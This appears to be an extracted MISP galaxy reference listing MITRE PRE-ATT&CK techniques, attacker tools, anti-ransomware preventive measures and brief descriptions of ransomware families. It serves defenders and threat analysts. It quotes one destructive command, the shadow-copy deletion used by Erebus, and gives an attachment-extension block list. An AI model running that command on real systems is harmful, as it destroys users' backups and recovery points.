Table 3862. Table References
Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1009

Non-traditional or less attributable payment options - PRE-T1093

Using alternative payment options allows an adversary to hide their activities. Options include crypto currencies, barter systems, pre-paid cards or shell accounts. (Citation: Goodin300InBitcoins)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Defender likely will not have access to payment information. Monitoring crypto-currency or barter boards is resource intensive and not fully automatable.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Easy to use pre-paid cards or shell accounts to pay for services online. Crypto currencies and barter systems can avoid use of trace-able bank or credit apparatus.
Aggregate individual’s digital footprint - PRE-T1052

In addition to a target's social media presence may exist a larger digital footprint, such as accounts and credentials on e-commerce sites or usernames and logins for email. An adversary familiar with a target's username can mine to determine the target's larger digital footprint via publicly available sources. (Citation: DigitalFootprint) (Citation: trendmicro-vtech)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Information readily available through searches

Identify sensitive personnel information - PRE-T1051

An adversary may identify sensitive personnel information not typically posted on a social media site, such as address, marital status, financial history, and law enforcement infractions. This could be conducted by searching public records that are frequently available for free or at a low cost online. (Citation: RSA-APTRecon)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: This type of information is useful to understand the individual and their ability to be blackmailed. Searching public records is easy and most information can be purchased for a low cost if the adversary really wants it.
Human performs requested action of physical nature - PRE-T1162

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Through social engineering or other methods, an adversary can get users to perform physical actions that provide access to an adversary. This could include providing a password over the phone or inserting a 'found' CD or USB into a system. (Citation: AnonHGBary) (Citation: CSOInsideOutside)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Non-hypersensing environments do not typically collect this level of detailed information.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Ill-informed users insert devices into their network that they randomly find, despite training educating them why this is not a wise idea.

Assess opportunities created by business deals - PRE-T1076

During mergers, divestitures, or other period of change in joint infrastructure or business processes there may be an opportunity for exploitation. During this type of churn, unusual requests, or other non standard practices may not be as noticeable. (Citation: RossiMergers) (Citation: MeidlHealthMergers)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Most of this activity would target partners and business processes. Partners would not report. Difficult to tie this activity to a cyber attack.
Difficulty for the Adversary: No

Difficulty for the Adversary explanation: Mapping joint infrastructure and business processes is difficult without insider knowledge or SIGINT capability. While a merger creates an opportunity to exploit potentially cumbersome or sloppy business processes, advance notice of a merger is difficult; merger information is typically close-hold until the deal is done.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Assess opportunities created by business deals - PRE-T1076"

</table>

**Shadow DNS - PRE-T1117**

The process of gathering domain account credentials in order to silently create subdomains pointed at malicious servers without tipping off the actual owner. (Citation: CiscoAngler) (Citation: ProofpointDomainShadowing)

Detectable by Common Defenses: Partial

Detectable by Common Defenses explanation: Detection of this technique requires individuals to monitor their domain registrant accounts routinely. In addition, defenders have had success with blacklisting sites or IP addresses, but an adversary can defeat this by rotating either the subdomains or the IP addresses associated with the campaign.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: To successfully conduct this attack, an adversary usually phishes the individual behind the domain registrant account, logs in with credentials, and creates a large amount of subdomains.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Shadow DNS - PRE-T1117"

</table>

**Create custom payloads - PRE-T1122**

A payload is the part of the malware which performs a malicious action. The adversary may create custom payloads when none exist with the needed capability or when targeting a specific environment. (Citation: APT1)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: It is likely that an adversary will create and develop
payloads on inaccessible or unknown networks for OPSEC reasons.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: Specialized tools exist for research, development, and testing of virus/malware payloads.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Create custom payloads - PRE-T1122"

**Conduct social engineering - PRE-T1045**

Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: No technical means to detect an adversary collecting information about a target. Any detection would be based upon strong OPSEC policy implementation.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Conduct social engineering - PRE-T1045"

Conduct social engineering - PRE-T1045 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Conduct social engineering - PRE-T1026" with estimative-language:likelihood-probability="almost-certain"

</tbody>
</table>

**SSL certificate acquisition for domain - PRE-T1114**

Certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Acquiring a certificate for a
domain name similar to one that is expected to be trusted may allow an adversary to trick a user into trusting the domain (e.g., vvachovia instead of [https://www.wellsfargo.com/about/corporate/wachovia/Wachovia]—homoglyphs). (Citation: SubvertSSL) (Citation: PaypalScam)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: Defender can monitor for domains similar to popular sites (possibly leverage [https://www.alexa.com Alexa] top "N" lists as starting point).

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: SSL certificates are readily available at little to no cost.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="SSL certificate acquisition for domain - PRE-T1114"

</table>

Test malware to evade detection - PRE-T1136

An adversary can run their code on systems with cyber security protections, such as antivirus products, in place to see if their code is detected. They can also test their malware on freely available public services. (Citation: MalwareQAZirtest)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Adversary controls the testing and can ensure data does not leak with proper OPSEC on testing.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Adversary has the ability to procure products and not have reporting return to vendors or can choose to use freely available services

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Test malware to evade detection - PRE-T1136"

</tbody>
</table>

Build or acquire exploits - PRE-T1126

An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may use or modify existing exploits when those exploits are still relevant to the environment they are trying to compromise.
Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Several exploit repositories and tool suites exist for re-use and tailoring.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Build or acquire exploits - PRE-T1126"

</table>

**Unauthorized user introduces compromise delivery mechanism - PRE-T1164**

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

If an adversary can gain physical access to the target’s environment they can introduce a variety of devices that provide compromise mechanisms. This could include installing keyboard loggers, adding routing/wireless equipment, or connecting computing devices. (Citation: Credit Card Skimmers)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: This varies depending on the amount of monitoring within the environment. Highly secure environments might have more innate monitoring and catch an adversary doing this more easily.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: This likely requires the adversary to have close or insider access to introduce the mechanism of compromise.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Unauthorized user introduces compromise delivery mechanism - PRE-T1164"

</tbody>
</table>
Common, high volume protocols and software - PRE-T1098

Certain types of traffic (e.g., Twitter, HTTP) are more commonly used than others. Utilizing more common protocols and software may make an adversary’s traffic more difficult to distinguish from legitimate traffic. (Citation: symantecNITRO)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: High level of entropy in communications. High volume of communications makes it extremely hard for a defender to distinguish between legitimate and adversary communications.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to decipher or to make the communication less conspicuous.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Common, high volume protocols and software - PRE-T1098"

Table 3875. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1098

Data Hiding - PRE-T1097

Certain types of traffic (e.g., DNS tunneling, header inject) allow for user-defined fields. These fields can then be used to hide data. In addition to hiding data in network protocols, steganography techniques can be used to hide data in images or other file formats. Detection can be difficult unless a particular signature is already known. (Citation: BotnetsDNSC2) (Citation: HAMMERTOSS2015) (Citation: DNS-Tunnel)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: Unless defender is dissecting protocols or performing network signature analysis on any protocol deviations/patterns, this technique is largely undetected.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: This technique requires a more advanced protocol understanding and testing to insert covert communication into legitimate protocol fields.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Data Hiding - PRE-T1097"

Cobalt Strike - S0154

[Cobalt Strike](https://attack.mitre.org/software/S0154) is a commercial, full-featured, penetration testing tool which bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system. (Citation: cobaltstrike manual)

In addition to its own capabilities, [Cobalt Strike](https://attack.mitre.org/software/S0154) leverages the capabilities of other well-known tools such as Metasploit and [Mimikatz](https://attack.mitre.org/software/S0002). (Citation: cobaltstrike manual)

Invoke-PSImage - S0231

[Invoke-PSImage](https://attack.mitre.org/software/S0231) takes a PowerShell script and embeds the bytes of the script into the pixels of a PNG image. It generates a one liner for executing either from
a file of from the web. Example of usage is embedding the PowerShell code from the Invoke-Mimikatz module and embed it into an image file. By calling the image file from a macro for example, the macro will download the picture and execute the PowerShell code, which in this case will dump the passwords. (Citation: GitHub Invoke-PSImage)

Net - S0039

The [Net](https://attack.mitre.org/software/S0039) utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections. (Citation: Microsoft Net Utility)

[Net](https://attack.mitre.org/software/S0039) has a great deal of functionality, (Citation: Savill 1999) much of which is useful for an adversary, such as gathering system and network information for Discovery, moving laterally through [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) using `<code>net use</code>` commands, and interacting with services. The net1.exe utility is executed for certain functionality when net.exe is run and can be used directly in commands such as `<code>net1 user</code>.

Tor - S0183

[Tor](https://attack.mitre.org/software/S0183) is a software suite and network that provides increased anonymity on the Internet. It creates a multi-hop proxy network and utilizes multilayer encryption to protect both the message and routing information. [Tor](https://attack.mitre.org/software/S0183) utilizes "Onion Routing," in which messages are encrypted with multiple layers of encryption; at each step in the proxy network, the topmost layer is decrypted and the contents forwarded on to the next node until it reaches its destination. (Citation: Dingledine Tor The Second-Generation Onion Router)

**RawDisk - S0364**

[RawDisk](https://attack.mitre.org/software/S0363) is a legitimate commercial driver from the EldoS Corporation that is used for interacting with files, disks, and partitions. The driver allows for direct modification of data on a local computer's hard drive. In some cases, the tool can enact these raw disk modifications from user-mode processes, circumventing Windows operating system security features.(Citation: EldoS RawDisk ITpro)(Citation: Novetta Blockbuster Destructive Malware)

Preventive Measure

Preventive measures based on the ransomware document overview as published in https://docs.google.com/spreadsheets/d/1TWS238xacAto-fLKhn5uTsdjWdCEsGIM0Y0Hvmc5g/pubhtml#. The preventive measures are quite generic and can fit any standard Windows infrastructure and their security measures.

Preventive Measure is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

Disable WSH

Disable Windows Script Host

The tag is: misp-galaxy:preventive-measure="Disable WSH"
Filter Attachments Level 1

Filter the following attachments on your mail gateway: .ade, .adp, .ani, .bas, .bat, .chm, .cmd, .com, .cpl, .crt, .exe, .hlp, .ht, .hta, .inf, .ins, .isp, .jar, .job, .js, .jse, .lnk, .mda, .mdb, .mde, .mdz, .msc, .msi, .msp, .mst, .ocx, .pce, .ps1, .reg, .scr, .sct, .shs, .svg, .url, .vb, .vbe, .vbs, .wbk, .wsc, .ws, .wsf, .wsh, .exe, .pif, .pub

The tag is: misp-galaxy:preventive-measure="Filter Attachments Level 1"

Filter Attachments Level 2

Filter the following attachments on your mail gateway: (Filter expression of Level 1 plus) .doc, .xls, .rtf, .docm, .xlsm, .pptm

The tag is: misp-galaxy:preventive-measure="Filter Attachments Level 2"

Restrict program execution

Block all program executions from the %LocalAppData% and %AppData% folder

The tag is: misp-galaxy:preventive-measure="Restrict program execution"

Show File Extensions

Set the registry key "HideFileExt" to 0 in order to show all file extensions, even of known file types. This helps avoiding cloaking tricks that use double extensions. (e.g. "not_a_virus.pdf.exe")

The tag is: misp-galaxy:preventive-measure="Show File Extensions"
Enforce UAC Prompt

Enforce administrative users to confirm an action that requires elevated rights

The tag is: misp-galaxy:preventive-measure="Enforce UAC Prompt"

Table 3946. Table References

Links

Remove Admin Privileges

Remove and restrict administrative rights whenever possible. Malware can only modify files that users have write access to.

The tag is: misp-galaxy:preventive-measure="Remove Admin Privileges"

Restrict Workstation Communication

Activate the Windows Firewall to restrict workstation to workstation communication

The tag is: misp-galaxy:preventive-measure="Restrict Workstation Communication"

Sandboxing Email Input

Using sandbox that opens email attachments and removes attachments based on behavior analysis

The tag is: misp-galaxy:preventive-measure="Sandboxing Email Input"

Execution Prevention

Software that allows to control the execution of processes - sometimes integrated in Antivirus software Free: AntiHook, ProcessGuard, System Safety Monitor

The tag is: misp-galaxy:preventive-measure="Execution Prevention"

Change Default "Open With" to Notepad

Force extensions primarily used for infections to open up in Notepad rather than Windows Script Host or Internet Explorer

The tag is: misp-galaxy:preventive-measure="Change Default "Open With" to Notepad"

Kostya Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Fsociety Locker Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

Erebus Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc. After the files are decrypted, the shadow files are deleted using the following command: vssadmin.exe Delete Shadows /All /Quiet

WannaCry

According to numerous open-source reports, a widespread ransomware campaign is affecting various organizations with reports of tens of thousands of infections in as many as 74 countries, including the United States, United Kingdom, Spain, Russia, Taiwan, France, and Japan. The software can run in as many as 27 different languages. The latest version of this ransomware variant, known as WannaCry, WCry, or Wanna Decryptor, was discovered the morning of May 12, 2017, by an independent security researcher and has spread rapidly over several hours, with initial reports beginning around 4:00 AM EDT, May 12, 2017. Open-source reporting indicates a requested ransom of .1781 bitcoins, roughly $300 U.S.

Jaff

We recently observed several large scale email campaigns that were attempting to distribute a new variant of ransomware that has been dubbed "Jaff". Interestingly we identified several characteristics that we have previously observed being used during Dridex and Locky campaigns. In a short period of time, we observed multiple campaigns featuring high volumes of malicious spam emails being distributed, each using a PDF attachment with an embedded Microsoft Word document functioning as the initial downloader for the Jaff ransomware.

The tag is: misp-galaxy:ransomware="Jaff"

Jaff has relationships with:

• similar: misp-galaxy:malpedia="Jaff" with estimative-language:likelihood-probability="likely"

</table>

**SynAck**

The ransomware does not use a customized desktop wallpaper to signal its presence, and the only way to discover that SynAck has infected your PC is by the ransom notes dropped on the user’s desktop, named in the format: RESTORE_INFO-[id].txt. For example: RESTORE_INFO-4ABFA0EF.txt

In addition, SynAck also appends its own extension at the end of all files it encrypted. This file
extensions format is ten random alpha characters for each file. For example: test.jpg.XbMijQiuoh. Experts believe the group behind SynAck uses RDP brute-force attacks to access remote computers and manually download and install the ransomware.

The tag is: `misp-galaxy:ransomware="SynAck"`

SynAck is also known as:

- Syn Ack

SynAck has relationships with:

- similar: `misp-galaxy:malpedia="SynAck"` with `estimative-language:likelihood-probability="likely"

</tbody>
</table>

**Bad Rabbit**

On October 24, 2017, Cisco Talos was alerted to a widespread ransomware campaign affecting organizations across eastern Europe and Russia. As was the case in previous situations, we quickly mobilized to assess the situation and ensure that customers remain protected from this and other threats as they emerge across the threat landscape. There have been several large scale
ransomware campaigns over the last several months. This appears to have some similarities to Nyetya in that it is also based on Petya ransomware. Major portions of the code appear to have been rewritten. The distribution does not appear to have the sophistication of the supply chain attacks we have seen recently.

The tag is: `misp-galaxy:ransomware="Bad Rabbit"`

Bad Rabbit is also known as:

- BadRabbit
- Bad-Rabbit

Bad Rabbit has relationships with:

- similar: `misp-galaxy:malpedia="EternalPetya"` with `estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:tool="NotPetya"` with `estimative-language:likelihood-probability="likely"

**Halloware**

A malware author by the name of Luc1F3R is peddling a new ransomware strain called Halloware for the lowly price of $40. Based on evidence gathered by Bleeping Computer, Luc1F3R started selling his ransomware this week, beginning Thursday.

The tag is: `misp-galaxy:ransomware="Halloware"

**StorageCrypt**

Recently BleepingComputer has received a flurry of support requests for a new ransomware being named StorageCrypt that is targeting NAS devices such as the Western Digital My Cloud. Victims have been reporting that their files have been encrypted and a note left with a ransom demand of between .4 and 2 bitcoins to get their files back. User's have also reported that each share on their NAS device contains a Autorun.inf file and a Windows executable named 美女与野 .exe, which translates to Beauty and the beast. From the samples BleepingComputer has received, this Autorun.inf is an attempt to spread the 美女与野 .exe file to other computers that open the folders.
on the NAS devices.

The tag is: *misp-galaxy:ransomware="StorageCrypt"

---

**HC7**

A new ransomware called HC7 is infecting victims by hacking into Windows computers that are running publicly accessible Remote Desktop services. Once the developers gain access to the hacked computer, the HC7 ransomware is then installed on all accessible computers on the network. Originally released as HC6, victims began posting about it in the BleepingComputer forums towards the end of November. As this is a Python-to-exe executable, once the script was extracted ID Ransomware creator Michael Gillespie was able determine that it was decryptable and released a decryptor. Unfortunately, a few days later, the ransomware developers released a new version called HC7 that was not decryptable. This is because they removed the hard coded encryption key and instead switched to inputting the key as a command line argument when the attackers run the ransomware executable. Thankfully, there may be a way to get around that as well so that victims can recover their keys.

The tag is: *misp-galaxy:ransomware="HC7"

---

**HC6**

Predecessor of HC7

The tag is: *misp-galaxy:ransomware="HC6"
Security researchers have discovered a new ransomware strain named qkG that targets only Office documents for encryption and infects the Word default document template to propagate to new Word documents opened through the same Office suite on the same computer.

The tag is: `misp-galaxy:ransomware="qkG"`

### Scarab

The Scarab ransomware is a relatively new ransomware strain that was first spotted by security researcher Michael Gillespie in June this year. Written in Delphi, the first version was simplistic and was recognizable via the "." scarab" extension it appended after the names of encrypted files. Malwarebytes researcher Marcelo Rivera spotted a second version in July that used the "." scorpio" extension. The version spotted with the Necurs spam today has reverted back to using the .scarab extension. The current version of Scarab encrypts files but does not change original file names as previous versions. This Scarab version appends each file's name with the "." [support@protonmail.com] .scarab" extension. Scarab also deletes shadow volume copies and drops a ransom note named "IF YOU WANT TO GET ALL YOUR FILES BACK, PLEASE READ THIS.TXT" on users' computers, which it opens immediately.

The tag is: `misp-galaxy:ransomware="Scarab"`
File Spider

A new ransomware called File Spider is being distributed through spam that targets victims in Bosnia and Herzegovina, Serbia, and Croatia. These spam emails contain malicious Word documents that will download and install the File Spider ransomware onto a victim's computer. File Spider is currently being distributed through malspam that appears to be targeting countries such as Croatia, Bosnia and Herzegovina, and Serbia. The spam starts with subjects like "Potrazivanje dugovanja", which translates to "Debt Collection" and whose message, according to Google Translate, appears to be in Serbian.

The tag is: `misp-galaxy:ransomware="File Spider"`

Qwerty Ransomware

A new ransomware has been discovered that utilizes the legitimate GnuPG, or GPG, encryption program to encrypt a victim's files. Currently in the wild, this ransomware is called Qwerty Ransomware and will encrypt a victims files, overwrite the originals, and the append the .qwerty extension to an encrypted file's name.

The tag is: `misp-galaxy:ransomware="Qwerty Ransomware"`

Zenis Ransomware

A new ransomware was discovered this week by MalwareHunterTeam called Zenis Ransomware.
While it is currently unknown how Zenis is being distributed, multiple victims have already become infected with this ransomware. What is most disturbing about Zenis is that it not encrypts your files, but also purposely deletes your backups.

The tag is: `misp-galaxy:ransomware=\"Zenis Ransomware\"`

**Black Ruby**

A new ransomware was discovered this week by MalwareHunterTeam called Black Ruby. This ransomware will encrypt the files on a computer, scramble the file name, and then append the BlackRuby extension. To make matters worse, Black Ruby will also install a Monero miner on the computer that utilizes as much of the CPU as it can. Discovered on February 6, 2018. May have been distributed through unknown vectors. Will not encrypt a machine if its IP address is identified as coming from Iran; this feature enables actors to avoid a particular Iranian cybercrime law that prohibits Iran-based actors from attacking Iranian victims. Encrypts files on the infected machine, scrambles files, and appends the .BlackRuby extension to them. Installs a Monero miner on the infected computer that utilizes the machine's maximum CPU power. Delivers a ransom note in English asking for US$650 in Bitcoins. Might be installed via Remote Desktop Services.

The tag is: `misp-galaxy:ransomware=\"Black Ruby\"`

PUBG Ransomware

In what could only be a joke, a new ransomware has been discovered called "PUBG Ransomware" that will decrypt your files if you play the game called PlayerUnknown’s Battlegrounds. Discovered by MalwareHunterTeam, when the PUBG Ransomware is launched it will encrypt a user's files and folders on the user's desktop and append the .PUBG extension to them. When it has finished encrypting the files, it will display a screen giving you two methods that you can use to decrypt the encrypted files.

The tag is: *misp-galaxy:ransomware="PUBG Ransomware"*

LockCrypt

LockCrypt is an example of yet another simple ransomware created and used by unsophisticated attackers. Its authors ignored well-known guidelines about the proper use of cryptography. The internal structure of the application is also unprofessional. Sloppy, unprofessional code is pretty commonplace when ransomware is created for manual distribution. Authors don’t take much time preparing the attack or the payload. Instead, they’re rather focused on a fast and easy gain, rather than on creating something for the long run. Because of this, they could easily be defeated.

The tag is: *misp-galaxy:ransomware="LockCrypt"*

Reveton ransomware

A ransomware family that targets users from certain countries or regions. It locks the computer and displays a location-specific webpage that covers the desktop and demands that the user pay a fine for the supposed possession of illicit material. The Reveton ransomware is one of the first screen-locking ransomware strains, and it appeared when Bitcoin was still in its infancy, and before it became the cryptocurrency of choice in all ransomware operations. Instead, Reveton operators asked victims to buy GreenDot MoneyPak vouchers, take the code on the voucher and enter it in the Reveton screen locker.

The tag is: misp-galaxy:ransomware="Reveton ransomware"
Fusob

Fusob is one of the major mobile ransomware families. Between April 2015 and March 2016, about 56 percent of accounted mobile ransomware was Fusob. Like a typical mobile ransomware, it employs scare tactics to extort people to pay a ransom. The program pretends to be an accusatory authority, demanding the victim to pay a fine from $100 to $200 USD or otherwise face a fictitious charge. Rather surprisingly, Fusob suggests using iTunes gift cards for payment. Also, a timer clicking down on the screen adds to the users’ anxiety as well. In order to infect devices, Fusob masquerades as a pornographic video player. Thus, victims, thinking it is harmless, unwittingly download Fusob. When Fusob is installed, it first checks the language used in the device. If it uses Russian or certain Eastern European languages, Fusob does nothing. Otherwise, it proceeds on to lock the device and demand ransom. Among victims, about 40% of them are in Germany with the United Kingdom and the United States following with 14.5% and 11.4% respectively. Fusob has lots in common with Small, which is another major family of mobile ransomware. They represented over 93% of mobile ransomes between 2015 and 2016.

NMCRYPT Ransomware

The NMCRYPT Ransomware is a generic file encryption Trojan that was detected in the middle of April 2018. The NMCRYPT Ransomware is a file encoder Trojan that is designed to make data unreadable and convince users to pay a fee for unlocking content on the infected computers. The NMCRYPT Ransomware is nearly identical to hundreds of variants of the HiddenTear open-source ransomware and compromised users are unable to use the Shadow Volume snapshots made by Windows to recover. Unfortunately, the NMCRYPT Ransomware disables the native recovery features on Windows, and you need third-party applications to rebuild your data.

The tag is: `misp-galaxy:ransomware="NMCRYPT Ransomware"`

Iron

It is currently unknown if Iron is indeed a new variant by the same creators of Maktub, or if it was simply inspired by the latter, by copying the design for the payment portal for example. We know the Iron ransomware has mimicked at least three ransomware families: Maktub (payment portal design) DMA Locker (Iron Unlocker, decryption tool) Satan (exclusion list)

The tag is: `misp-galaxy:ransomware="Iron"`

Tron ransomware

The tag is: `misp-galaxy:ransomware="Tron ransomware"`
Unnamed ramsomware 1

A new in-development ransomware was discovered that has an interesting characteristic. Instead of the distributed executable performing the ransomware functionality, the executables compiles an embedded encrypted C# program at runtime and launches it directly into memory.

The tag is: misp-galaxy:ransomware="Unnamed ramsomware 1"

HPE iLO 4 Ransomware

Attackers are targeting Internet accessible HPE iLO 4 remote management interfaces, supposedly encrypting the hard drives, and then demanding Bitcoins to get access to the data again. According to the victim, the attackers are demanding 2 bitcoins to gain access to the drives again. The attackers will also provide a bitcoin address to the victim that should be used for payment. These bitcoin addresses appear to be unique per victim as the victim’s was different from other reported ones. An interesting part of the ransom note is that the attackers state that the ransom price is not negotiable unless the victim’s are from Russia. This is common for Russian based attackers, who in many cases tries to avoid infecting Russian victims. Finally, could this be a decoy/wiper rather than an actual true ransomware attack? Ransomware attacks typically provide a unique ID to the victim in order to distinguish one victim from another. This prevents a victim from "stealing" another victim’s payment and using it to unlock their computer. In a situation like this, where no unique ID is given to identify the encrypted computer and the email is publicly accessible, it could be a case where the main goal is to wipe a server or act as a decoy for another attack.

The tag is: misp-galaxy:ransomware="HPE iLO 4 Ransomware"
Sigrun Ransomware

When Sigrun is executed it will first check "HKEY_CURRENT_USER\Keyboard Layout\Preload" to see if it is set to the Russian layout. If the computer is using a Russian layout, it will not encrypt the computer and just delete itself. Otherwise Sigrun will scan a computer for files to encrypt and skip any that match certain extensions, filenames, or are located in particular folders.

Aurora Ransomware

Typical ransom software, Aurora virus plays the role of blackmailing PC operators. It encrypts files and the encryption cipher it uses is pretty strong. After encryption, the virus attaches .aurora at the end of the file names that makes it impossible to open the data. Thereafter, it dispatches the ransom note totaling 6 copies, without any change to the main objective i.e., victims must write an electronic mail addressed to anonimus.mr@yahoo.com while stay connected until the criminals reply telling the ransom amount.

The tag is: **misp-galaxy:ransomware="Aurora Ransomware"**
Aurora Ransomware is also known as:

- Zorro Ransomware

**DBGer Ransomware**

The authors of the Satan ransomware have rebranded their "product" and they now go by the name of DBGer ransomware, according to security researcher MalwareHunter, who spotted this new
version earlier today. The change was not only in name but also in the ransomware's modus operandi. According to the researcher, whose discovery was later confirmed by an Intezer code similarity analysis, the new (Satan) DBGer ransomware now also incorporates Mimikatz, an open-source password-dumping utility. The purpose of DBGer incorporating Mimikatz is for lateral movement inside compromised networks. This fits a recently observed trend in Satan's modus operandi.

### TYRANT

DUMB variant discovered on November 16, 2017. Disguised itself as a popular virtual private network (VPN) in Iran known as Psiphon and infected Iranian users. Included Farsi-language ransom note, decryptable in the same way as previous DUMB-based variants. Message requested only US$15 for unlock key. Advertised two local and Iran-based payment processors: exchange.ir and webmoney.ir. Shared unique and specialized indicators with RASTAKHIZ; iDefense threat intelligence analysts believe this similarity confirms that the same actor was behind the repurposing of both types of ransomware.

The tag is: *misp-galaxy:ransomware="TYRANT"*

TYRANT is also known as:

- Crypto Tyrant

### Table 4505. Table References

---

2301
WannaSmile

zCrypt variant discovered on November 17, 2017, one day after the discovery of TYRANT. Used Farsi-language ransom note asking for a staggering 20 Bitcoin ransom payment. Also advertised local Iran-based payment processors and exchanges—www.exchangeing[,]ir, www.payment24[,]ir, www.farhadexchange.net, and www.digiarz.com)—through which Bitcoins could be acquired.

The tag is: misp-galaxy:ransomware="WannaSmile"

Unnamed Android Ransomware

Uses APK Editor Pro. Picks and activates DEX>Smali from APK Editor. Utilizes LockService application and edits the “const-string v4, value” to a desired unlock key. Changes contact information within the ransom note. Once the victim has downloaded the malicious app, the only way to recover its content is to pay the ransom and receive the unlock key.

The tag is: misp-galaxy:ransomware="Unnamed Android Ransomware"

KEYPASS

A new distribution campaign is underway for a STOP Ransomware variant called KeyPass based on the amount of victims that have been seen. Unfortunately, how the ransomware is being distributed is unknown at this time.

The tag is: misp-galaxy:ransomware="KEYPASS"

KEYPASS is also known as:
STOP Ransomware

Emmanuel_ADC-Soft found a new STOP Ransomware variant that appends the `.INFOWAIT` extension and drops a ransom note named `readme.txt`.

The tag is: `misp-galaxy:ransomware="STOP Ransomware"`

Barack Obama’s Everlasting Blue Blackmail Virus Ransomware

A new ransomware that only encrypts `.EXE` files on a computer. It then displays a screen with a picture of President Obama that asks for a "tip" to decrypt the files.

The tag is: `misp-galaxy:ransomware="Barack Obama’s Everlasting Blue Blackmail Virus Ransomware"`

Barack Obama’s Everlasting Blue Blackmail Virus Ransomware is also known as: 

- Barack Obama’s Blackmail Virus Ransomware
CryptoNar

When the CryptoNar, or Crypto Nar, Ransomware encrypts a victims files it will perform the encryption differently depending on the type of file being encrypted. If the targeted file has a .txt or .md extension, it will encrypt the entire file and append the .fully.cryptoNar extension to the encrypted file’s name. All other files will only have the first 1,024 bytes encrypted and will have the .partially.cryptoNar extensions appended to the file’s name.

The tag is: misp-galaxy:ransomware="CryptoNar"

CryptoNar has relationships with:

- similar: misp-galaxy:ransomware="CryptoJoker" with estimative-language:likelihood-probability="likely"

Cassetto Ransomware

Michael Gillespie saw an encrypted file uploaded to ID Ransomware that appends the .cassetto extension and drops a ransom note named IMPORTANT ABOUT DECRYPT.txt.

The tag is: `misp-galaxy:ransomware="Cassetto Ransomware"`

Acroware Cryptolocker Ransomware

Leo discovered a screenlocker that calls itself Acroware Cryptolocker Ransomware. It does not encrypt.

The tag is: `misp-galaxy:ransomware="Acroware Cryptolocker Ransomware"`

Acroware Cryptolocker Ransomware is also known as:

- Acroware Screenlocker

Termite Ransomware

Ben Hunter discovered a new ransomware called Termite Ransomware. When encrypting a computer it will append the .aaaaaa extension to encrypted files.

The tag is: `misp-galaxy:ransomware="Termite Ransomware"`
PICO Ransomware

SIRi found a new Thanatos Ransomware variant called PICO Ransomware. This ransomware will append the .PICO extension to encrypted files and drop a ransom note named README.txt.

The tag is: `misp-galaxy:ransomware="PICO Ransomware"`

PICO Ransomware is also known as:

- Pico Ransomware

Sigma Ransomware

